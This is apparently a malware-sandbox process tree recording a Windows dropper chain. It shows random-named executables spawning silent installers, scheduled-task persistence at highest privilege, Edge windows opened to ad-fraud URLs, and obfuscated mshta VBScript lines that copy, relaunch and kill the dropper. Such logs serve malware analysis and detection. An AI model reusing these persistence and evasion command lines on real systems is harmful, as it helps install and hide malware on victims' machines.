C:\Users\Admin\Pictures\Adobe Films\BLXUNH0DWIQ30oaYA9DObv1V.exe"C:\Users\Admin\Pictures\Adobe Films\BLXUNH0DWIQ30oaYA9DObv1V.exe"7⤵
- Executes dropped EXE
PID:6056
-
-
C:\Users\Admin\Pictures\Adobe Films\3PTlImJPd3L17DmJiB0YNrSm.exe"C:\Users\Admin\Pictures\Adobe Films\3PTlImJPd3L17DmJiB0YNrSm.exe"7⤵
- Executes dropped EXE
PID:5144 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5144 -s 2768⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4140
-
-
-
C:\Users\Admin\Pictures\Adobe Films\lnVaeZE8zGv_bNi1VqiSXJtV.exe"C:\Users\Admin\Pictures\Adobe Films\lnVaeZE8zGv_bNi1VqiSXJtV.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:3136
-
-
C:\Users\Admin\Pictures\Adobe Films\VZ3iSCfxoTMgk_jd0vhvXyLP.exe"C:\Users\Admin\Pictures\Adobe Films\VZ3iSCfxoTMgk_jd0vhvXyLP.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2568
-
-
C:\Users\Admin\Pictures\Adobe Films\v2kyZHxNbAoqSYVOBqvIQ7w3.exe"C:\Users\Admin\Pictures\Adobe Films\v2kyZHxNbAoqSYVOBqvIQ7w3.exe"7⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4256 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST8⤵
- Creates scheduled task(s)
PID:6100
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST8⤵
- Creates scheduled task(s)
PID:2076
-
-
C:\Users\Admin\Documents\igINDR17ymI3egkvLH6EKSRy.exe"C:\Users\Admin\Documents\igINDR17ymI3egkvLH6EKSRy.exe"8⤵PID:5176
-
C:\Users\Admin\Pictures\Adobe Films\saDspcn7FAkg4ghTF0uqVNHw.exe"C:\Users\Admin\Pictures\Adobe Films\saDspcn7FAkg4ghTF0uqVNHw.exe"9⤵PID:6700
-
-
C:\Users\Admin\Pictures\Adobe Films\EfdOvYUPFN5bIoTNXG5x77y_.exe"C:\Users\Admin\Pictures\Adobe Films\EfdOvYUPFN5bIoTNXG5x77y_.exe"9⤵PID:6476
-
-
C:\Users\Admin\Pictures\Adobe Films\NbzAKZiNGvQrPSufztmclc29.exe"C:\Users\Admin\Pictures\Adobe Films\NbzAKZiNGvQrPSufztmclc29.exe"9⤵PID:6548
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6548 -s 29210⤵
- Program crash
PID:5040
-
-
-
C:\Users\Admin\Pictures\Adobe Films\0Lcor1lvbkNw3HMXlo5nO52a.exe"C:\Users\Admin\Pictures\Adobe Films\0Lcor1lvbkNw3HMXlo5nO52a.exe"9⤵PID:6636
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6636 -s 28010⤵
- Program crash
PID:2512
-
-
-
C:\Users\Admin\Pictures\Adobe Films\hBxO8IV3kex9UQO1tLH1OQXe.exe"C:\Users\Admin\Pictures\Adobe Films\hBxO8IV3kex9UQO1tLH1OQXe.exe"9⤵PID:6428
-
-
C:\Users\Admin\Pictures\Adobe Films\zKdooN9lGJQvfRKBOyZ1Paxt.exe"C:\Users\Admin\Pictures\Adobe Films\zKdooN9lGJQvfRKBOyZ1Paxt.exe"9⤵PID:6600
-
C:\Users\Admin\Pictures\Adobe Films\zKdooN9lGJQvfRKBOyZ1Paxt.exe"C:\Users\Admin\Pictures\Adobe Films\zKdooN9lGJQvfRKBOyZ1Paxt.exe" -u10⤵PID:7344
-
-
-
C:\Users\Admin\Pictures\Adobe Films\82QGDEbrfYcK_Q7tQhKs1mg6.exe"C:\Users\Admin\Pictures\Adobe Films\82QGDEbrfYcK_Q7tQhKs1mg6.exe"9⤵PID:6788
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=110⤵PID:5524
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"11⤵PID:6188
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1d4,0x1d0,0x1cc,0x208,0x1c0,0x7ff8ed70dec0,0x7ff8ed70ded0,0x7ff8ed70dee012⤵PID:7200
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1620,10694324642038819894,10494018590157311140,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6188_1684709115" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1640 /prefetch:212⤵PID:1468
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1620,10694324642038819894,10494018590157311140,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6188_1684709115" --mojo-platform-channel-handle=1760 /prefetch:812⤵PID:8180
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\I4IDpKCJr5NdkMiAo2bIegb4.exe"C:\Users\Admin\Pictures\Adobe Films\I4IDpKCJr5NdkMiAo2bIegb4.exe"9⤵PID:5592
-
C:\Users\Admin\AppData\Local\Temp\is-I1K9C.tmp\I4IDpKCJr5NdkMiAo2bIegb4.tmp"C:\Users\Admin\AppData\Local\Temp\is-I1K9C.tmp\I4IDpKCJr5NdkMiAo2bIegb4.tmp" /SL5="$204E2,506127,422400,C:\Users\Admin\Pictures\Adobe Films\I4IDpKCJr5NdkMiAo2bIegb4.exe"10⤵PID:7764
-
C:\Users\Admin\AppData\Local\Temp\is-0IPUB.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-0IPUB.tmp\DYbALA.exe" /S /UID=270911⤵PID:8164
-
C:\Users\Admin\AppData\Local\Temp\81-c2254-f29-21e85-cacbb21e82439\Vocykafaezhe.exe"C:\Users\Admin\AppData\Local\Temp\81-c2254-f29-21e85-cacbb21e82439\Vocykafaezhe.exe"12⤵PID:7560
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e613⤵PID:3044
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0xdc,0x110,0x7ff8f7d246f8,0x7ff8f7d24708,0x7ff8f7d2471814⤵PID:1144
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:214⤵PID:4516
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 /prefetch:314⤵PID:7032
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2556 /prefetch:814⤵PID:7872
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3416 /prefetch:114⤵PID:6728
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3420 /prefetch:114⤵PID:5728
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3684 /prefetch:114⤵PID:7684
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5116 /prefetch:814⤵PID:2028
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5116 /prefetch:814⤵PID:7608
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4936 /prefetch:114⤵PID:2424
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5380 /prefetch:214⤵PID:7400
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4944 /prefetch:114⤵PID:5388
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3068 /prefetch:114⤵PID:6120
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3108 /prefetch:114⤵PID:2196
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5740 /prefetch:114⤵PID:7380
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5916 /prefetch:114⤵PID:5636
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6072 /prefetch:114⤵PID:1716
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6384 /prefetch:114⤵PID:7860
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6116 /prefetch:114⤵PID:3052
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5980 /prefetch:114⤵PID:1876
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6316 /prefetch:114⤵PID:7744
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6892 /prefetch:114⤵PID:4280
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6616 /prefetch:114⤵PID:7140
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,4496303487387747868,1346064468997714377,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7120 /prefetch:114⤵PID:7172
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad13⤵PID:7120
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff8f7d246f8,0x7ff8f7d24708,0x7ff8f7d2471814⤵PID:6848
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=185148313⤵PID:912
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x108,0x10c,0x110,0xdc,0xe4,0x7ff8f7d246f8,0x7ff8f7d24708,0x7ff8f7d2471814⤵PID:7700
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=185151313⤵PID:7756
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff8f7d246f8,0x7ff8f7d24708,0x7ff8f7d2471814⤵PID:6004
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7b-67d44-de9-1bf9f-33efc66bf17ff\SHesishunuzhae.exe"C:\Users\Admin\AppData\Local\Temp\7b-67d44-de9-1bf9f-33efc66bf17ff\SHesishunuzhae.exe"12⤵PID:72
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\elsm0qii.dao\GcleanerEU.exe /eufive & exit13⤵PID:1584
-
C:\Users\Admin\AppData\Local\Temp\elsm0qii.dao\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\elsm0qii.dao\GcleanerEU.exe /eufive14⤵PID:7900
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7900 -s 23615⤵
- Program crash
PID:3420
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sipvkodc.32q\installer.exe /qn CAMPAIGN="654" & exit13⤵PID:2856
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV114⤵PID:5520
-
-
C:\Users\Admin\AppData\Local\Temp\sipvkodc.32q\installer.exeC:\Users\Admin\AppData\Local\Temp\sipvkodc.32q\installer.exe /qn CAMPAIGN="654"14⤵PID:7380
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\g2yjhajb.ycw\any.exe & exit13⤵PID:1528
-
C:\Users\Admin\AppData\Local\Temp\g2yjhajb.ycw\any.exeC:\Users\Admin\AppData\Local\Temp\g2yjhajb.ycw\any.exe14⤵PID:7224
-
C:\Users\Admin\AppData\Local\Temp\g2yjhajb.ycw\any.exe"C:\Users\Admin\AppData\Local\Temp\g2yjhajb.ycw\any.exe" -u15⤵PID:7800
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV116⤵PID:5592
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kr1dqdyj.mm1\gcleaner.exe /mixfive & exit13⤵PID:8080
-
C:\Users\Admin\AppData\Local\Temp\kr1dqdyj.mm1\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\kr1dqdyj.mm1\gcleaner.exe /mixfive14⤵PID:2844
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 23615⤵
- Program crash
PID:7000
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\llwppn2j.5r0\autosubplayer.exe /S & exit13⤵PID:7964
-
-
-
C:\Program Files\Windows Photo Viewer\JHPNZOKZVY\foldershare.exe"C:\Program Files\Windows Photo Viewer\JHPNZOKZVY\foldershare.exe" /VERYSILENT12⤵PID:1516
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\URgoX3JNgB8wAFH30pgTPoa3.exe"C:\Users\Admin\Pictures\Adobe Films\URgoX3JNgB8wAFH30pgTPoa3.exe"9⤵
- Executes dropped EXE
PID:3364 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\URgoX3JNgB8wAFH30pgTPoa3.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\URgoX3JNgB8wAFH30pgTPoa3.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )10⤵PID:7292
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\URgoX3JNgB8wAFH30pgTPoa3.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\URgoX3JNgB8wAFH30pgTPoa3.exe" ) do taskkill -f -iM "%~NxM"11⤵PID:7248
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "URgoX3JNgB8wAFH30pgTPoa3.exe"12⤵
- Kills process with taskkill
PID:6432
-
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\kUJgKqZNWY49X2_I1tysGK1i.exe"C:\Users\Admin\Pictures\Adobe Films\kUJgKqZNWY49X2_I1tysGK1i.exe"7⤵
- Executes dropped EXE
PID:1656
-
-
C:\Users\Admin\Pictures\Adobe Films\_HHH5GIYQD_Vrv9jDLmGbkF3.exe"C:\Users\Admin\Pictures\Adobe Films\_HHH5GIYQD_Vrv9jDLmGbkF3.exe"7⤵PID:3364
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3364 -s 3008⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6028
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue165ec2d1de4f1ae98.exe5⤵PID:2008
-
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue165ec2d1de4f1ae98.exeTue165ec2d1de4f1ae98.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3168 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3168 -s 18367⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5336
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue161bd708d12e5.exe5⤵PID:920
-
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue161bd708d12e5.exeTue161bd708d12e5.exe6⤵
- Executes dropped EXE
PID:3096 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScrIPt: ClOse ( CrEATeobjEct ( "wScRipt.SHELl").run ( "CMd /C tYpe ""C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue161bd708d12e5.exe""> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If """" == """" for %E In ( ""C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue161bd708d12e5.exe"" ) do taskkill -F /iM ""%~nXE"" ", 0, True ) )7⤵PID:4984
-
